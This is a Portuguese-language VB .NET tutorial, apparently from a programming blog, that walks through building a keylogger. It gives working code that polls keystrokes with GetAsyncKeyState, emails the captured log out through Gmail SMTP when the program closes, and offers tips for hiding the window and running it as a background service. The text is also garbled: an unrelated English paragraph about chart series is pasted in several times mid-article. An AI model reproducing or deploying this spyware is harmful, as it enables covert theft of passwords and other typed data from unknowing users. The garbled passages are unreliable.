VB .NET -  Criando um Keylogger


 Neste artigo eu vou mostrar como criar um keylogger bem simples usando a linguagem VB .NET.

Às vezes recebo emails de pessoas interessadas em criar um registrador das ações feitas no computador via teclado, gravando tudo o que foi digitado em um arquivo para análise posterior.

Esse tipo de programa é conhecido como KeyLogger. Então vamos ver o que a Wikipedia diz sobre esse tal de Keylogger :

Key logger (que significa registrador do teclado em inglês) é um programa de computador do tipo spyware cuja finalidade é registrar tudo o que é digitado, quase sempre a fim de capturar senhas, números de cartão de crédito e afins. Muitos casos de phishing, assim como outros tipos de fraudes virtuais, se baseiam no uso de algum tipo de keylogger, instalado no computador sem o conhecimento da vítima, que captura dados sensíveis e os envia a um cracker que depois os utiliza para fraudes.

Existem softwares apropriados para se defender deste tipo de ameaça. É sempre oportuno que um computador conectado à internet seja protegido através de um software antispyware de um firewall e de um antivírus.

O key logger também é um programa utilizado muito por empresas para monitorar o que seus funcionários fazem em sua máquina, porém em muitos casos as pessoas utilizam o programa de forma mal-intencionada.

Creio que já deu para entender o conceito por trás desse tipo de programa. Então neste artigo eu vou mostrar como podemos criar um keylogger básico usando a linguagem VB .NET.

Existem muitas formas de implementar um keylogger e quanto mais sofisticado, mais complexo será o seu código.

Para manter as coisas simples o exemplo do artigo vai registrar tudo o que for digitado em uma variável de memória que poderá ser enviada via email. Você pode alterar o código salvando o log no disco no formato texto,  xml, json ou mesmo em um banco de dados. Fica a seu critério.

No projeto existe um arquivo texto com os códigos de cada tecla que você poderá usar para incluir no seu log.

Vamos usar a função GetAsyncKeyState que determina se uma tecla foi acionada no momento que a função é chamada e se a tecla foi pressionada depois de uma chamada anterior à função.

A função também funciona com o mouse, checando porém o estado físico dos botões e não o botões lógicos.

Recursos usados:

Nota: Baixe e use a versão Community 2015 do VS ela é grátis e é equivalente a versão Professional.

Criando o projeto no VS Community

Abra o VS Community 2015 e clique em New Project;

Selecione a linguagem Visual Basic e o template Windows Forms Application;

Informe o nome VBNET_KeyLogger e clique no botão OK;

A partir da ToolBox inclua no formulário os seguintes controles:

Disponha os controles conforme o leiaute da figura abaixo:

Agora vamos declarar o namespace para enviar o email com o log.

Imports System.Net.Mail

A seguir no início do formulário vamos declarar a função GetAsyncKeyState que será usada para capturar a entrada do teclado e a variável Log onde iremos armazenar essa entrada.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short

Public Log As String

No evento Load do formulário temos o código que ativa o Timer:

 Private Sub Form1_Load(sender As Object, e As EventArgs) Handles Me.Load
        Timer1.Start()
 End Sub

A seguir no evento Tick do Timer temos o código que captura cada tecla pressionada do teclado e armazena na variável Log:

Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        If (GetAsyncKeyState(65)) Then
            Log = Log + "A"
        ElseIf (GetAsyncKeyState(66)) Then
            Log = Log + "B"
        ElseIf (GetAsyncKeyState(67)) Then
            Log = Log + "C"
        ElseIf (GetAsyncKeyState(68)) Then
            Log = Log + "D"
        ElseIf (GetAsyncKeyState(69)) Then
            Log = Log + "E"
        ElseIf (GetAsyncKeyState(70)) Then
            Log = Log + "F"
        ElseIf (GetAsyncKeyState(71)) Then
            Log = Log + "G"
        ElseIf (GetAsyncKeyState(72)) Then
            Log = Log + "H"
        ElseIf (GetAsyncKeyState(73)) Then
            Log = Log + "I"
        ElseIf (GetAsyncKeyState(74)) Then
            Log = Log + "J"
        ElseIf (GetAsyncKeyState(75)) Then
            Log = Log + "K"
        ElseIf (GetAsyncKeyState(76)) Then
            Log = Log + "L"
        ElseIf (GetAsyncKeyState(77)) Then
            Log = Log + "M"
        ElseIf (GetAsyncKeyState(78)) Then
            Log = Log + "N"
        ElseIf (GetAsyncKeyState(79)) Then
            Log = Log + "O"
        ElseIf (GetAsyncKeyState(80)) Then
            Log = Log + "P"
        ElseIf (GetAsyncKeyState(81)) Then
            Log = Log + "Q"
        ElseIf (GetAsyncKeyState(82)) Then
            Log = Log + "R"
        ElseIf (GetAsyncKeyState(83)) Then
            Log = Log + "S"
        ElseIf (GetAsyncKeyState(84)) Then
            Log = Log + "T"
        ElseIf (GetAsyncKeyState(85)) Then
            Log = Log + "U"
        ElseIf (GetAsyncKeyState(86)) Then
            Log = Log + "V"
        ElseIf (GetAsyncKeyState(87)) Then
            Log = Log + "W"
        ElseIf (GetAsyncKeyState(88)) Then
            Log = Log + "X"
        ElseIf (GetAsyncKeyState(89)) Then
            Log = Log + "Y"
        ElseIf (GetAsyncKeyState(90)) Then
            Log = Log + "Z"
        ElseIf (GetAsyncKeyState(48)) Then ' numeros 1 a 9
            Log = Log + "0"
        ElseIf (GetAsyncKeyState(49)) Then
            Log = Log + "1"
        ElseIf (GetAsyncKeyState(50)) Then
            Log = Log + "2"
        ElseIf (GetAsyncKeyState(51)) Then
            Log = Log + "3"
        ElseIf (GetAsyncKeyState(52)) Then
            Log = Log + "4"
        ElseIf (GetAsyncKeyState(53)) Then
            Log = Log + "5"
        ElseIf (GetAsyncKeyState(54)) Then
            Log = Log + "6"
        ElseIf (GetAsyncKeyState(55)) Then
            Log = Log + "7"
        ElseIf (GetAsyncKeyState(56)) Then
            Log = Log + "8"
        ElseIf (GetAsyncKeyState(57)) Then  'fim numeros
            Log = Log + "9"
        ElseIf (GetAsyncKeyState(96)) Then ' teclado numerico 
            Log = Log + "{0}"
        ElseIf (GetAsyncKeyState(97)) Then
            Log = Log + "{1}"
        ElseIf (GetAsyncKeyState(98)) Then
            Log = Log + "{2}"
        ElseIf (GetAsyncKeyState(99)) Then
            Log = Log + "{3}"
        ElseIf (GetAsyncKeyState(100)) Then
            Log = Log + "{4}"
        ElseIf (GetAsyncKeyState(101)) Then
            Log = Log + "{5}"
        ElseIf (GetAsyncKeyState(102)) Then
            Log = Log + "{6}"
        ElseIf (GetAsyncKeyState(103)) Then
            Log = Log + "{7}"
        ElseIf (GetAsyncKeyState(104)) Then
            Log = Log + "{8}"
        ElseIf (GetAsyncKeyState(105)) Then ' fim teclado numerico
            Log = Log + "{9}"
        ElseIf (GetAsyncKeyState(106)) Then  ' operacoes *
            Log = Log + "{Num*}"
        ElseIf (GetAsyncKeyState(107)) Then
            Log = Log + "{Num+}"
        ElseIf (GetAsyncKeyState(13)) Then
            Log = Log + "{Enter}"
        ElseIf (GetAsyncKeyState(109)) Then
            Log = Log + "{Num-}"
        ElseIf (GetAsyncKeyState(110)) Then
            Log = Log + "{Num.}"
        ElseIf (GetAsyncKeyState(111)) Then 'fim operacoes /
            Log = Log + "{Num/}"
        ElseIf (GetAsyncKeyState(32)) Then
            Log = Log + " "
        ElseIf (GetAsyncKeyState(8)) Then
            Log = Log + "{Backspace}"
        ElseIf (GetAsyncKeyState(9)) Then
            Log = Log + "{Tab}"
        ElseIf (GetAsyncKeyState(16)) Then
            Log = Log + "{Shift}"
        ElseIf (GetAsyncKeyState(17)) Then
            Log = Log + "{Control}"
        ElseIf (GetAsyncKeyState(20)) Then
            Log = Log + "{Caps}"
        ElseIf (GetAsyncKeyState(27)) Then
            Log = Log + "{Esc}"
        ElseIf (GetAsyncKeyState(33)) Then
            Log = Log + "{PGup}"
        ElseIf (GetAsyncKeyState(34)) Then
            Log = Log + "{PGdn}"
        ElseIf (GetAsyncKeyState(35)) Then
            Log = Log + "{End}"
        ElseIf (GetAsyncKeyState(36)) Then
            Log = Log + "{Home}"
        ElseIf (GetAsyncKeyState(37)) Then
            Log = Log + "{LArrow}"
        ElseIf (GetAsyncKeyState(38)) Then
            Log = Log + "{UArrow}"
        ElseIf (GetAsyncKeyState(39)) Then
            Log = Log + "{RArrow}"
        ElseIf (GetAsyncKeyState(40)) Then
            Log = Log + "{DArrow}"
        ElseIf (GetAsyncKeyState(45)) Then
            Log = Log + "{Insert}"
        ElseIf (GetAsyncKeyState(46)) Then
            Log = Log + "{Del}"
        ElseIf (GetAsyncKeyState(144)) Then
            Log = Log + "{NumLock}"
        ElseIf (GetAsyncKeyState(188)) Then
            Log = Log + "{,}"
        ElseIf (GetAsyncKeyState(187)) Then
            Log = Log + "{=}"
        ElseIf (GetAsyncKeyState(186)) Then
            Log = Log + "{;}"
        ElseIf (GetAsyncKeyState(8)) Then
            Log = Log + "{BS}"
        ElseIf (GetAsyncKeyState(32)) Then
            Log = Log + "{ }"
        ElseIf (GetAsyncKeyState(112)) Then
            Log = Log + "{F1}"
        ElseIf (GetAsyncKeyState(113)) Then
            Log = Log + "{F2}"
        ElseIf (GetAsyncKeyState(114)) Then
            Log = Log + "{F3}"
        End If
    End Sub

Eu não estou capturando todas as teclas. Se desejar implementar mais teclas veja o arquivo texto anexo ao projeto que contém o código das teclas.

The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf
The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf

No evento Click do botão de comando Mostrar Log temos o código que exibe o log capturado no RichTextBox (rtb1):

Private Sub btnMostrarLog_Click(sender As Object, e As EventArgs) Handles btnMostrarLog.Click
        rtb1.Text = Log
End Sub
The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf
The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf
The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf
The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf
The Series is the title of data that we are displaying. In this tutorial we will display sales and expenses data from a database. Therefore our series collection will be Sales, Expenses.

We will delete Series1 becuase we will replace it with Expenses and Sales.

Right click the chart and click on properties. In the properties window, scroll down to Series and click on the small button next to Collection:

- See more at: http://www.visual-basic-tutorials.com/display-data-as-charts-and-graph-in-visual-basic.html#sthash.lBTOTLaR.dpuf

Finalmente usamos o evento Text_Closing para que se a aplicação for encerrada um email seja enviado para um destinatário.

Private Sub Text_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
        EnviaEmail()
End Sub

Private Sub EnviaEmail()
        Try
            Dim Mail As New MailMessage
            Mail.Subject = "Keylog"
            Mail.To.Add("seu_endereco_email@gmail.com")
            Mail.From = New MailAddress("seu_endereco_email@gmail.com")
            Mail.Body = Log
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("seu_email@gmail.com", "sua_senha")
            SMTP.Port = "587"
            SMTP.Send(Mail)
        Catch ex As Exception
            MessageBox.Show("Erro : " + ex.Message)
        End Try
 End Sub

Você pode alterar essa funcionalidade salvando o arquivo de log no seu disco.

Outra dica para ocultar o seu projeto seria definir a propriedade Opacity do formulário form1 com valor igual a 0; assim ao executar o formulário fica invisível.

Nota: Uma implementação mais robusta seria criar o projeto como um serviço do Windows e deixá-lo rodando em background.

Executando o projeto e abrindo o Bloco de Notas, após digitar algum texto podemos visualizar o log capturado no programa Keylogger:

Pegue o projeto completo aqui :    VBNET_KeyLogger.zip

Porque Deus enviou o seu Filho ao mundo, não para que condenasse o mundo, mas para que o mundo fosse salvo por ele.
Quem crê nele não é condenado; mas quem não crê já está condenado, porquanto não crê no nome do unigênito Filho de Deus.

João 3:17,18

Veja os Destaques e novidades do SUPER DVD Visual Basic (sempre atualizado) : clique e confira !

Quer migrar para o VB .NET ?

Quer aprender C# ??

Quer aprender os conceitos da Programação Orientada a objetos ?

Quer aprender o gerar relatórios com o ReportViewer no VS 2013 ?

Quer aprender a criar aplicações Web Dinâmicas usando a ASP .NET MVC 5 ?


  Gostou
?   Compartilhe no Facebook   Compartilhe no Twitter

 

Referências:


José Carlos Macoratti